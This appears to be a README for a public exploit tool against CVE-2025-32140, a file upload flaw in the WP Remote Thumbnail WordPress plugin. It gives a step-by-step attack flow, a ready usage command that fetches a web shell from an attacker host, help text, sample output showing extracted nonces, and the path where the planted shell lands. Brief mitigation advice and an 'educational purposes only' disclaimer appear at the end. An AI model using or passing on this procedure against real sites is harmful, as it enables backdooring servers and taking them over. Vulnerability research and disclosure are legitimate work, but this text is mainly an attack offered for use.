🚨 CVE-2025-32140 – WP Remote Thumbnail Exploit (Arbitrary File Upload)

📝 Description

CVE-2025-32140 is a critical vulnerability in the WP Remote Thumbnail plugin for WordPress. It enables authenticated attackers (with contributor or higher permissions) to upload arbitrary files, such as web shells, by abusing a flawed feature that accepts unsanitized URLs.

The plugin fails to validate the file type or content fetched from the provided remote_thumb URL. This allows attackers to save malicious PHP files (e.g., backdoors) into the /wp-content/uploads directory.

⚠️ Vulnerable Component

• Plugin: WP Remote Thumbnail
• Vulnerable Versions: <= 1.3.2
• Patched Version: Not yet released
• Attack Vector: Network
• Privileges Required: Low (Authenticated user with edit_post capability)
• CVSS Score: 9.9 (Critical)

🛠 Exploit Script

This Python script automates the exploitation of CVE-2025-32140, performing the following steps:

1. Logs into the target WordPress site.
2. Automatically extracts required nonces.
3. Crafts and sends a malicious request via the remote_thumb parameter.
4. Uploads a web shell to the target site.

🔧 Command-Line Options

🚀 Usage

python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php

📖 Usage & Help

                                                                                                                
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL

Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi

options:
  -h, --help            show this help message and exit
  --url, -u URL         Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
  --username, -un USERNAME
                        Username
  --password, -p PASSWORD
                        Password
  --user_ID, -uid USER_ID
                        User ID (usually 1 for admin)
  --post_ID, -pid POST_ID
                        Target post ID
  --shell SHELL         URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)

📋 Example Output

[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited

📂 Shell Location

Once exploited, the uploaded web shell will likely be stored at:

http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php

Replace YYYY/MM with the current year and month of upload.

🛡 Recommendations

To mitigate the risk posed by this vulnerability:

1. Update the plugin to the latest version (once a patch is released).
2. Restrict file upload capabilities to trusted users only.
3. Disable the remote thumbnail fetch feature if it is not required.

⚠️ Disclaimer

This script is provided for educational purposes only.
The author is not responsible for any misuse or damage caused by this exploit.

👤 Author

By: Nxploited ( Khaled Alenazi ) 🌟